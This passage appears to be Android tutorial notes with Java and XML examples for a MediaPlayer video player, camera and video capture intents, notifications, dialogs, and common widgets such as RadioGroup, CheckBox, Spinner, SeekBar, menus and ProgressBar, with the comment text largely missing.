				private	Button	bt_pause;
				private	SurfaceView	sv;
				private	MediaPlayer	mediaPlayer;
				private	int	currentPosition;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								et_path	=	(EditText)	this.findViewById(R.id.et_path);
								bt_pause	=	(Button)	this.findViewById(R.id.bt_pause);
								sv	=	(SurfaceView)	this.findViewById(R.id.sv);
	
								//	android4.04.0surfaceview				
								//sv.getHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);//



	
								//	2.3	2.2bug,	1.6
	
								//	TODO	cSurfaceHolder,//surfaceview	holder
								sv.getHolder().addCallback(new	Callback()	{
	
												@Override
												public	void	surfaceDestroyed(SurfaceHolder	holder)	{
																if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
																				currentPosition	=	mediaPlayer.getCurrentPosition();
																				mediaPlayer.stop();
																				mediaPlayer.release();
																				mediaPlayer	=	null;
																}
																System.out.println("holder	" 	+	currentPosition);
												}
	
												@Override
												public	void	surfaceCreated(SurfaceHolder	holder)	{
																System.out.println("holder	" );
																if	(currentPosition	>	0)	{
																				try	{
																								String	videoPath	=	et_path.getText().toString().trim();
																								mediaPlayer	=	new	MediaPlayer();
																								mediaPlayer
																																.setAudioStreamType(AudioManager.STREAM_MUSIC);
																								mediaPlayer.setDataSource(getApplicationContext(),
																																Uri.parse(videoPath));
																								mediaPlayer.setDisplay(sv.getHolder());
																								mediaPlayer.prepareAsync();
																								mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																																				@Override
																																				public	void	onPrepared(MediaPlayer	mp)	{
																																								System.out.println("" +	currentPosition	+	"" );
																																								mediaPlayer.seekTo(currentPosition);
																																								mediaPlayer.start();
																																				}
																																});
	
																				}	catch	(Exception	e)	{
																								e.printStackTrace();
																				}



																}
	
												}
	
												@Override
												public	void	surfaceChanged(SurfaceHolder	holder,	int	format,
																				int	width,	int	height)	{
																System.out.println("holder	" );
												}
								});
				}
	
				/**
					*	TODO	1
					*
					*	@param	view
					*/
				public	void	start(View	view)	{
								try	{
												String	videoPath	=	et_path.getText().toString().trim();
	
												mediaPlayer	=	new	MediaPlayer();
												mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
												mediaPlayer.setDataSource(videoPath);
	
												mediaPlayer.setLooping(true);//	
	
												//	TODO	bSurfaceHolder//
												SurfaceHolder	sh	=	sv.getHolder();
												mediaPlayer.setDisplay(sh);
	
												//	TODO	aprepareAsync()
												mediaPlayer.prepareAsync();
												mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																@Override
																public	void	onPrepared(MediaPlayer	mp)	{
																				mediaPlayer.start();
																}
												});
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}



				}
	
				/**
					*	TODO	2
					*
					*	@param	view
					*/
				public	void	pause(View	view)	{
	
								if	("" .equals(bt_pause.getText().toString().trim())	&&	mediaPlayer!=null)	{
												mediaPlayer.start();
												bt_pause.setText("" );
												return;
								}
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.pause();
												bt_pause.setText("" );
								}
				}
	
				/**
					*	TODO	3
					*
					*	@param	view
					*/
				public	void	stop(View	view)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.stop();
												mediaPlayer.release();
												mediaPlayer	=	null;
								}
				}
	
				/**
					*	TODO	4
					*
					*	@param	view
					*/
				public	void	replay(View	view)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.seekTo(0);
												mediaPlayer.start();



								}
								start(view);
				}
}



1
<intent-filter>
								<action	android:name="android.media.action.IMAGE_CAPTURE"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
</intent-filter>
2

http://developer.android.com/guide/topics/media/camera.html	

3
a)	
b)	

package	cn.zengfansheng.camera;
import	java.io.File;
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.net.Uri;
import	android.os.Bundle;
import	android.os.Environment;
import	android.provider.MediaStore;
import	android.view.View;
import	android.widget.ImageView;
public	class	MainActivity	extends	Activity	{
				private	static	final	int	CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE	=	100;
				private	ImageView	iv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
				}
				public	void	capture(View	view){
				
								Intent	intent	=	new	Intent();
								
								intent.setAction(MediaStore.ACTION_IMAGE_CAPTURE);//	android.media.action.IMAGE_CAPTURE
								//	intent.setAction("android.media.action.IMAGE_CAPTURE");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								

http://developer.android.com/guide/topics/media/camera.html


								String	fileUri	=	Environment.getExternalStorageDirectory()+"/haha"+System.currentTimeMillis
								intent.putExtra(MediaStore.EXTRA_OUTPUT,Uri.fromFile(new	File(fileUri)));//	output
								
								startActivityForResult(intent,	CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE);
								
				}
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								if	(data	!=	null)	{
												Bitmap	bitmap	=	data.getParcelableExtra("data");//	
												iv.setImageBitmap(bitmap);
								}
								super.onActivityResult(requestCode,	resultCode,	data);
				}
}
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intent.setAction(MediaStore.ACTION_VIDEO_CAPTURE);//android.media.action.VIDEO_CAPTURE

package	cn.zengfansheng.camera;
	
import	java.io.File;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.net.Uri;
import	android.os.Bundle;
import	android.os.Environment;
import	android.provider.MediaStore;
import	android.view.View;
import	android.widget.ImageView;
import	cn.zengfansheng.videocamera.R;
	
public	class	MainActivity	extends	Activity	{
	
				private	static	final	int	CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE	=	100;
				private	ImageView	iv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
				}
	
				public	void	capture(View	view){
	
								Intent	intent	=	new	Intent();
	
								intent.setAction(MediaStore.ACTION_VIDEO_CAPTURE);//
android.media.action.VIDEO_CAPTURE
								//	intent.setAction("android.media.action.VIDEO_CAPTURE");
	
								intent.addCategory(Intent.CATEGORY_DEFAULT);
	



								String	fileUri	=
Environment.getExternalStorageDirectory()+"/haha"+System.currentTimeMillis()+".3gp"
								intent.putExtra(MediaStore.EXTRA_OUTPUT,Uri.fromFile(new	File(fileUri)));//	output
	
								startActivityForResult(intent,	CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE);
	
				}
	
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								if	(data	!=	null)	{
												Bitmap	bitmap	=	data.getParcelableExtra("data");//	
												iv.setImageBitmap(bitmap);
								}
								super.onActivityResult(requestCode,	resultCode,	data);
				}
	
}
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Building	a	Camera	App
Detect	and	Access	Camera	-	Create	code	to	check	for	the	existence
of	cameras	and	request	access.
Create	a	Preview	Class	-	Create	a	camera	preview	class	that
extends	SurfaceView	and	implements	theSurfaceHolder	interface.	This
class	previews	the	live	images	from	the	camera.
Build	a	Preview	Layout	-	Once	you	have	the	camera	preview	class,
create	a	view	layout	that	incorporates	the	preview	and	the	user
interface	controls	you	want.
Setup	Listeners	for	Capture	-	Connect	listeners	for	your	interface
controls	to	start	image	or	video	capture	in	response	to	user	actions,
such	as	pressing	a	button.
Capture	and	Save	Files	-	Setup	the	code	for	capturing	pictures	or
videos	and	saving	the	output.
Release	the	Camera	-	After	using	the	camera,	your	application	must
properly	release	it	for	use	by	other	applications.

1Detecting	camera	hardware	camera
Android	2.3	(API	Level	9)	 	Camera.getNumberOfCameras()

2 Accessing	cameras	camera
Android	2.3	(API	Level	9)	or	higher	,	Camera.open(int)

3Checking	camera	features	camera
Camera.getParameters() Android	2.3	(API	Level	9)	or	higher When	using	API	Level	9
or	higher,	use	the	Camera.getCameraInfo()	to	determine	if	a	camera	is	on	the	front	or
back	of	the	device,	and	the	orientation	of	the	image.

4Creating	a	preview	class	

5Placing	preview	in	a	layout		
android:screenOrientation="landscape"	

http://developer.android.com/guide/topics/media/camera.html
http://developer.android.com/reference/android/view/SurfaceView.html
http://developer.android.com/reference/android/view/SurfaceHolder.html
http://developer.android.com/reference/android/hardware/Camera.html#getNumberOfCameras()


6Capturing	pictures	

7Manifest	Declarations	
<uses-permission	android:name="android.permission.CAMERA"	/>
<uses-feature	android:name="android.hardware.camera"	/>
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE"	/>
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Notification
notification

1PendingIntentParctablenotificationsystemui
2FLAG_NO_CLEAR
android4.0 	 	

	

	

					The	callouts	in	the	illustration	refer	to	the	following:



1.	 Content	title		
2.	 Large	icon	
3.	 Content	text	
4.	 Content	info	
5.	 Small	icon	
6.	 Time	that	the	notification	was	issued.	You	can	set	an	explicit	value	with	setWhen()

defaults	to	the	time	that	the	system	received	the	notification.					

import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.app.Notification;
import	android.app.NotificationManager;
import	android.app.PendingIntent;
import	android.content.Context;
import	android.content.Intent;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
	
public	class	MainActivity	extends	Activity	{
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
	
				/**
					*	
					*	@param	view
					*/
				@SuppressLint("NewApi")
				public	void	notify(View	view)	{
	
								//	1.notification
								NotificationManager	notificationManager	=	(NotificationManager)
this.getSystemService(Context.NOTIFICATION_SERVICE);
	
								//	TODO	1android	api11		Builder
								/*Notification	noti	=	new	Notification.Builder(getApplicationContext())



																.setContentTitle("")
																.setContentText("")
																.setSmallIcon(R.drawable.notification)//
																.setLargeIcon(BitmapFactory.decodeResource(getResources(),	R.drawable.ic_launcher))
																.build();
	
								notificationManager.notify(0,	noti);//	id*/
	
								//	TODO	2
								Notification	notification	=	new	Notification(R.drawable.notification,"" ,	System.currentTimeMillis());
	
								//	notification.flags	=	Notification.FLAG_AUTO_CANCEL;//	
								notification.flags	=	Notification.FLAG_NO_CLEAR;//	
	
								//	notification			
								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_DIAL);
								intent.setData(Uri.parse("tel:110"));
								PendingIntent	contentIntent	=	PendingIntent.getActivity(getApplicationContext(),	0,	intent,
PendingIntent.FLAG_UPDATE_CURRENT);
								notification.setLatestEventInfo(this,	"" ,	"" ,	contentIntent);
								notificationManager.notify(0,	notification);
				}
}

api
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package	cn.zengfansheng.day10.notification;
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.app.Notification;
import	android.app.NotificationManager;
import	android.app.PendingIntent;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	cn.zengfansheng.day10.R;
public	class	NotificationActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{



								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_notification);
				}
				@SuppressLint("NewApi")
				//	@SuppressWarnings("deprecation")
				public	void	notification(View	view)	{
								NotificationManager	nManager	=	(NotificationManager)	this
																.getSystemService(NOTIFICATION_SERVICE);
								Bitmap	aBitmap	=	BitmapFactory.decodeResource(getResources(),	R.drawable.notification
								Notification	notification	=	new	Notification.Builder(this)
																.setContentTitle("content	title")	//contentTitle
																.setContentText("content	text")	//contentText
																.setSmallIcon(R.drawable.ic_launcher)	//	
																.setLargeIcon(aBitmap)	//	
																.build();
								
								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_DIAL);
								intent.setData(Uri.parse("tel:"	+	110));
								PendingIntent	contentIntent	=	PendingIntent.getActivity(this,	1,	intent,	PendingIntent.
								//
								notification.contentIntent	=	contentIntent;//	intent
								notification.tickerText	=	"qq" ;//	
												notification.flags	=	Notification.FLAG_AUTO_CANCEL;//	

								//	NOTES====================	,==============
//								Notification	notification	=	new	Notification(R.drawable.notification,
//																"",	System.currentTimeMillis());//	,
//
//								CharSequence	contentTitle	=	"";	//	
//								CharSequence	contentText	=	"";	//	
//
//								//	
//								Intent	intent	=	new	Intent();
//								intent.setAction(Intent.ACTION_DIAL);
//								intent.setData(Uri.parse("tel:"	+	110));
//
//								int	flags	=	PendingIntent.FLAG_UPDATE_CURRENT;
//								PendingIntent	contentIntent	=	PendingIntent.getActivity(this,	1,	intent,	flags);
//
//								notification.setLatestEventInfo(this,	contentTitle,	contentText,	contentIntent);
								



								nManager.notify(null,	0,	notification);
				}
}

①

②



AlertDialog()	 1AlertDialogBuilder
2Builder.show()
public	AlertDialog	show()	{
				AlertDialog	dialog	=	create();
				dialog.show();
				return	dialog;
}
3
public	void	click1(View	view)	{
				Builder	builder	=	new	Builder(this);//AlertDialong
				builder.setTitle("" );
				builder.setMessage("" );
				//	1.
				builder.setPositiveButton("" ,new	OnClickListener()	{
								
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												Toast.makeText(getApplicationContext(),	"5" ,	0).show();
								}
				});
				//	2
				builder.setNegativeButton("" ,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
								}
				});
				//	3buildercreate()show()
				//	AlertDialog	alertDialog	=	builder.create();
				//	alertDialog.show();
				builder.show();//	
}		
4



1 AlertDialog.Builder	builder	=	new	Builder(this)this getApplicationContext()

public	void	click2(View	view)	{
				AlertDialog.Builder	builder	=	new	Builder(this);//	getApplicationContext()this
				builder.setTitle("" );
				//	builder.setMessage(""); //
				final	String[]	items	=	new	String[]	{	"" ,	"" ,	"" 	};
				//	1
				builder.setSingleChoiceItems(items,	2,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												Toast.makeText(getApplicationContext(),	"" 	+	items[which],
																				Toast.LENGTH_SHORT).show();
								}
				});
				//	2



				builder.setPositiveButton("" ,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												dialog.dismiss();//	
								}
				});
				//	2
				builder.setNegativeButton("" ,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												dialog.dismiss();//	
								}
				});
				builder.show();
}
2

	



public	void	click3(View	view)	{
				AlertDialog.Builder	builder	=	new	Builder(this);//	getApplicationContext()this
				builder.setTitle("" );
				//	builder.setMessage(" hiahia!!!");//
				//	1
				final	CharSequence[]	items	=	{	"" ,	"" ,	"" ,	"" 	};
				boolean[]	checkedItems	=	{	false,	false,	false,	false,	true	};
				builder.setMultiChoiceItems(items,	checkedItems,new	OnMultiChoiceClickListener()	{
																@Override
																public	void	onClick(DialogInterface	dialog,	int	which,boolean	isChecked)	{
																				if	(isChecked)	{
																								Toast.makeText(getApplicationContext(),	"
" 	+	items[which],Toast.LENGTH_SHORT).show();
																				}
																}
												});
				//	2
				builder.setPositiveButton("" ,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												dialog.dismiss();//	
								}
				});
				//	3
				builder.setNegativeButton("" ,	new	OnClickListener()	{
								@Override
								public	void	onClick(DialogInterface	dialog,	int	which)	{
												dialog.dismiss();//	
								}
				});
				builder.show();
}



1 ProgressDialogProgressBarUI
/**
	*TODO	4
	*	@param	view
	*/
public	void	click4(View	view){
				
				ProgressDialog	pd	=	new	ProgressDialog(this);//	getApplicationContext()
				pd.setTitle("" );
				pd.setMessage("" );
				pd.show();



}
/**
	*TODO	5
	*	@param	view
	*/
public	void	click5(View	view)	{
				
				final	ProgressDialog	pd	=	new	ProgressDialog(this);//	getApplicationContext()
				pd.setTitle("" );
				pd.setMessage("" );
				//	pd.setProgressStyle(ProgressDialog.STYLE_SPINNER);//
				pd.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);//	
				pd.setMax(100);
				pd.show();
				
				//	 ui,ProgressDialogProgressBarUI
				new	Thread()	{
								@Override
								public	void	run()	{
												super.run();
												for	(int	i	=	0;	i	<	100;	i++)	{
																pd.setProgress(i	+	1);
																try	{
																				Thread.sleep(200);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
												}
												pd.dismiss();
								}
				}.start();
}
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1-(RadioGroupRadioButton)

(RadioButton)RadioGroupRadioButton()RadioGroup

RadioGroup.check(R.id.dotNet);iddotNet
(RadioButton)	findViewById(radioGroup.getCheckedRadioButtonId());//
RadioButton.getText();//
setOnCheckedChangeListener() RadioGroup.OnCheckedChangeListener

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<RadioGroup
								android:id="@+id/rg"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"	>
								<RadioButton
												android:id="@+id/radio0"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:checked="true"
												android:text="" 	/>
								<RadioButton
												android:id="@+id/radio1"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="" 	/>
								<RadioButton
												android:id="@+id/radio2"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="" 	/>
				</RadioGroup>
</LinearLayout>
2
package	cn.zengfansheng.commonui;
	
import	android.app.Activity;
import	android.os.Bundle;
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import	android.widget.RadioGroup;
import	android.widget.RadioGroup.OnCheckedChangeListener;
import	android.widget.Toast;
	
public	class	MainActivity	extends	Activity	{
	
				private	RadioGroup	rg;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								rg	=	(RadioGroup)	this.findViewById(R.id.rg);
								//	int	checkedRadioButtonId	=	rg.getCheckedRadioButtonId();//id
								rg.setOnCheckedChangeListener(new	OnCheckedChangeListener()	{
	
												@Override
												public	void	onCheckedChanged(RadioGroup	group,	int	checkedId)	{
																Toast.makeText(getApplicationContext(),	"" +checkedId,	0).show();
												}
								});
				}
}

3





2-(CheckBox)

(CheckBox)

	CheckBox.setChecked(true);//
	CheckBox.getText();//
setOnCheckedChangeListener() CompoundButton.OnCheckedChangeListener

1
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="wrap_content"
				android:layout_height="fill_parent"	>
				<CheckBox
								android:id="@+id/checkboxjava"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="java"	/>
				<CheckBox
								android:id="@+id/checkboxdotNet"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="dotNet"	/>
				<CheckBox
								android:id="@+id/checkboxphp"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="PHP"	/>
				<Button
								android:id="@+id/checkboxButton"
								android:layout_width="fill_parent"
								android:layout_height="wrap_content"
								android:text="" 	/>
</LinearLayout>
2
package	cn.zengfansheng.checkbox;
import	java.util.ArrayList;
import	java.util.List;
import	android.app.Activity;
import	android.os.Bundle;
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import	android.util.Log;
import	android.view.View;
import	android.widget.Button;
import	android.widget.CheckBox;
import	android.widget.CompoundButton;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				
				private	static	final	String	TAG	=	"CheckBoxActivity";
				private	List<CheckBox>	checkboxs	=	new	ArrayList<CheckBox>();
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								//	1
								checkboxs.add((CheckBox)	findViewById(R.id.checkboxdotNet));
								checkboxs.add((CheckBox)	findViewById(R.id.checkboxjava));
								checkboxs.add((CheckBox)	findViewById(R.id.checkboxphp));
								checkboxs.get(1).setChecked(true);//	
								//	2
								for	(CheckBox	box	:	checkboxs)	{
												box.setOnCheckedChangeListener(listener);
								}
								Button	button	=	(Button)	findViewById(R.id.checkboxButton);
								button.setOnClickListener(new	View.OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																List<String>	values	=	new	ArrayList<String>();
																//	3CheckBox
																for	(CheckBox	box	:	checkboxs)	{
																				if	(box.isChecked())	{
																								values.add(box.getText().toString());
																				}
																}
																Toast.makeText(MainActivity.this,	values.toString(),	1).show();
												}
								});
				}
				//	
				CompoundButton.OnCheckedChangeListener	listener	=	new	CompoundButton.OnCheckedChangeListener()	{				
								@Override
								public	void	onCheckedChanged(CompoundButton	buttonView,	boolean	isChecked)	{



												CheckBox	checkBox	=	(CheckBox)	buttonView;
												Log.i(TAG,	"isChecked="+	isChecked	+",value="+	checkBox.getText());//
								}
				};
}
3



3-(Spinner)

(Spinner)
Spinner.getItemAtPosition(Spinner.getSelectedItemPosition());
setOnItemSelectedListener() AdapterView.OnItemSelectedListener

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<Spinner
								android:id="@+id/spinner"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	/>
</LinearLayout>
2
package	cn.zengfansheng.spinner;
import	android.app.Activity;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.View;
import	android.widget.AdapterView;
import	android.widget.AdapterView.OnItemSelectedListener;
import	android.widget.ArrayAdapter;
import	android.widget.Spinner;
public	class	MainActivity	extends	Activity	{

				protected	static	final	String	TAG	=	"MainActivity";
				private	Spinner	spinner;

				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);

								spinner	=	(Spinner)	this.findViewById(R.id.spinner);

								ArrayAdapter<String>	adapter	=	
															new	ArrayAdapter<String>(this,	android.R.layout.simple_spinner_item);
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								adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item
								adapter.add("JAVA");
								adapter.add("PHP");
								adapter.add("C++");
								adapter.add("Object-C");
								adapter.add("C");
								
								spinner.setAdapter(adapter);
								spinner.setOnItemSelectedListener(new	OnItemSelectedListener()	{
												@Override
												public	void	onItemSelected(AdapterView<?>	parent,	View	view,
																				int	position,	long	id)	{
//																Spinner	spinner	=	(Spinner)	view;
//																String	itemContent	=	(String)parent.getItemAtPosition(position);
												}
												@Override
												public	void	onNothingSelected(AdapterView<?>	parent)	{
																Log.i(TAG,	parent.getClass().getName());
												}
								});
				}
}





4-(SeekBar)

(SeekBar)
SeekBar.getProgress()
setOnSeekBarChangeListener()SeekBar.OnSeekBarChangeListener.

1
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="fill_parent"
				android:layout_height="fill_parent"
				android:orientation="vertical"	>
				<SeekBar
								android:id="@+id/seekBar"
								android:layout_width="fill_parent"
								android:layout_height="wrap_content"	/>
				<Button
								android:id="@+id/seekBarButton"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="" 	/>
</LinearLayout>
2
package	cn.zengfansheng.seekbar;
import	android.app.Activity;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.SeekBar;
import	android.widget.SeekBar.OnSeekBarChangeListener;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				protected	static	final	String	TAG	=	"MainActivity";
				private	SeekBar	seekBar;
				private	Button	seekBarButton;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
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								setContentView(R.layout.activity_main);
								seekBar	=	(SeekBar)	this.findViewById(R.id.seekBar);
								seekBarButton	=	(Button)	this.findViewById(R.id.seekBarButton);
								
								seekBar.setMax(100);
								seekBar.setProgress(50);
								//	 seekbar
								seekBar.setOnSeekBarChangeListener(new	OnSeekBarChangeListener()	{
												@Override
												public	void	onStartTrackingTouch(SeekBar	seekBar)	{
																//	1 seekbarSeekBar
																Log.i(TAG,	"onStartTrackingTouch():"+String.valueOf(seekBar.getProgress()));
												}
												
												@Override
												public	void	onProgressChanged(SeekBar	seekBar,	int	progress,
																//	21SeekBar23
																				boolean	fromUser)	{
																Log.i(TAG,	"onProgressChanged():"+String.valueOf(progress)	+	",	"	+	String.valueOf
												}
												@Override
												public	void	onStopTrackingTouch(SeekBar	seekBar)	{	
																//	3 seekbarSeekBar
																Log.i(TAG,"onStopTrackingTouch():"+	String.valueOf(seekBar.getProgress()));
												}
								});
								
								seekBarButton.setOnClickListener(new	OnClickListener()	{
												
												@Override
												public	void	onClick(View	v)	{
																Toast.makeText(MainActivity.this,	"seekbar" +seekBar.getProgress(),	0).show();
												}
								});
				}
}
3





ActivityonCreateOptionsMenu(Menu	menu) “Menu”
onCreateOptionsMenu(Menu	menu)Menu.add()
ActivityonMenuItemSelected()

“MENU” ActivityopenOptionsMenu()

1
<menu	xmlns:android="http://schemas.android.com/apk/res/android"	>
				<item
								android:id="@+id/item1"
								android:title="1" >
				</item>
				<item
								android:id="@+id/item2"
								android:title="2" >
				</item>
				<item
								android:id="@+id/item3"
								android:title="3" >
				</item>
				<item
								android:id="@+id/item4"
								android:title="4" >
				</item>
				<item
								android:id="@+id/item5"
								android:title="5" >
				</item>
</menu>
2
package	cn.zengfansheng.menu;

import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.view.MenuItem;
import	android.widget.Toast;
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public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
				/*
					*	
					*/
				@Override
				public	boolean	onOptionsItemSelected(MenuItem	item)	{
								int	itemId	=	item.getItemId();//	id
								switch	(itemId)	{
								case	R.id.item1:
												Toast.makeText(getApplicationContext(),	itemId+"" ,	0).show();
												break;
								case	R.id.item2:
												Toast.makeText(getApplicationContext(),	itemId	+	"" ,	0)
																				.show();
												break;
								case	R.id.item3:
												Toast.makeText(getApplicationContext(),	itemId	+	"" ,	0)
																				.show();
												break;
								case	R.id.item4:
												Toast.makeText(getApplicationContext(),	itemId	+	"" ,	0)
																				.show();
												break;
								case	R.id.item5:
												Toast.makeText(getApplicationContext(),	itemId	+	"" ,	0)
																				.show();
												break;
								}
								return	super.onOptionsItemSelected(item);
				}



}



ProgressBar

ProgressBar.setMax(100);//
ProgressBar.setProgress(0);// 10050

1
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:paddingBottom="@dimen/activity_vertical_margin"
				android:paddingLeft="@dimen/activity_horizontal_margin"
				android:paddingRight="@dimen/activity_horizontal_margin"
				android:paddingTop="@dimen/activity_vertical_margin"
				tools:context=".MainActivity"	>
				<ProgressBar
								android:id="@+id/pb"
								style="?android:attr/progressBarStyleHorizontal"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_alignParentLeft="true"
								android:layout_alignParentTop="true"	/>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_below="@+id/pb"
								android:layout_centerHorizontal="true"
								android:onClick="click"
								android:text="" 	/>
</RelativeLayout>
2
package	cn.zengfansheng.progressbar;
	
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.view.View;
import	android.widget.ProgressBar;
	
public	class	MainActivity	extends	Activity	{
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				private	ProgressBar	pb;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								pb	=	(ProgressBar)	this.findViewById(R.id.pb);
								pb.setMax(100);
								pb.setProgress(0);
	
				}
	
				public	void	click(View	view)	{
								new	Thread()	{//	UIpbui
	
												@Override
												public	void	run()	{
																super.run();
																for	(int	i	=	1;	i	<=	100;	i++)	{
																				pb.setProgress(i);
																				try	{
																								Thread.sleep(100);
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																}
												}
	
								}.start();
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}

3





AutoCompleteTextView

AutoCompleteTextView
AutoCompleteTextViewEditText AutoCompleteTextViewList

AutoCompleteTextViewwww.google.com google
completionThreshold	

1
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:paddingBottom="@dimen/activity_vertical_margin"
				android:paddingLeft="@dimen/activity_horizontal_margin"
				android:paddingRight="@dimen/activity_horizontal_margin"
				android:paddingTop="@dimen/activity_vertical_margin"
				tools:context=".MainActivity"	>
				<AutoCompleteTextView
								android:id="@+id/autoCompleteTextView"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_alignParentLeft="true"
								android:layout_alignParentTop="true"
								android:completionThreshold="1"
								>
								<requestFocus	/>
				</AutoCompleteTextView>
</RelativeLayout>
2
package	cn.zengfansheng.autocompletetextview;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.widget.ArrayAdapter;
import	android.widget.AutoCompleteTextView;
public	class	MainActivity	extends	Activity	{
				private	AutoCompleteTextView	actv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
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								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
